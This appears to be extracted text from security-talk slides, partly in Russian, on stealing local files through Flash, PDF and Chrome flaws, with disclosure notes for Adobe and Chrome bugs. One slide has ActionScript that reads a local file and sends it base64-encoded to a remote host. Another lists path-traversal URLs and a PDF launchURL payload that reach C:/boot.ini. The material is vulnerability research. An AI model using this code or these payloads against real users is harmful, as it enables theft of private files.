  • 16. Local files access (SWF) Файл должен быть собран с опцией (Flex) --use-network=false Плагин должен быть открыт в зоне file:// private function getData(name:String):void{ var url:URLRequest=new URLRequest(name); var loader:URLLoader=new URLLoader(); loader.addEventListener(Event.COMPLETE,populate); loader.load(url); } private function sendData(host:String,data:String):void{ var enc:Base64Encoder=new Base64Encoder(); enc.encode(data); data=enc.toString(); navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self"); } http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf http://xs-sniper.com/blog/2011/01/04/bypassing-flash% E2%80%99s-local-with-filesystem-sandbox/
  • 17. Local files access (SWF) http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf http://xs-sniper.com/blog/2011/01/04/bypassing-flash% E2%80%99s-local-with-filesystem-sandbox/
  • 18. Local files access (PDF) Adobe 908 Adobe 925 We will begin our investigation based on that information. In the meantime, we ask that you do not publicly disclose this potential issue, in order to protect Adobe's customers. This has been assigned the Adobe tracking number 908.
  • 19. Pri-1 Area-Internals SecSeverity- From http:// to file:// (Chrome) Medium Type-Security Mstone-11 Issue 72492 (Feb 9, 2011) Из командой строки (.lnk файлов) URL вида http: //google.com/../../../../../../../../../../boot.ini ведет на C: /boot.ini Из ссылок в приложениях (GTalk,ICQ,Skype) надо обойти встроенную нормализацию: http://www.google.ru?q=OMFG../#a/../../../../../../../../../../.. /boot.ini Можно вызвать через PDF документ расположенный в зоне http://: app.launchURL("http://../../../../../../../boot.ini",true)
  • 20. Pri-1 Area-Internals SecSeverity- From http:// to file:// (Chrome) Medium Type-Security Mstone-11
  • 21. Атака из топора (stealing local file from remote in Chrome 11.0.696.68)
  • 22. Атака из топора (stealing local file from remote in Chrome 11.0.696.68)
  • 23. Что нас ждет? GUI уязвимости URL spoofing PKI spoofing Action spoofing Dialogs bypass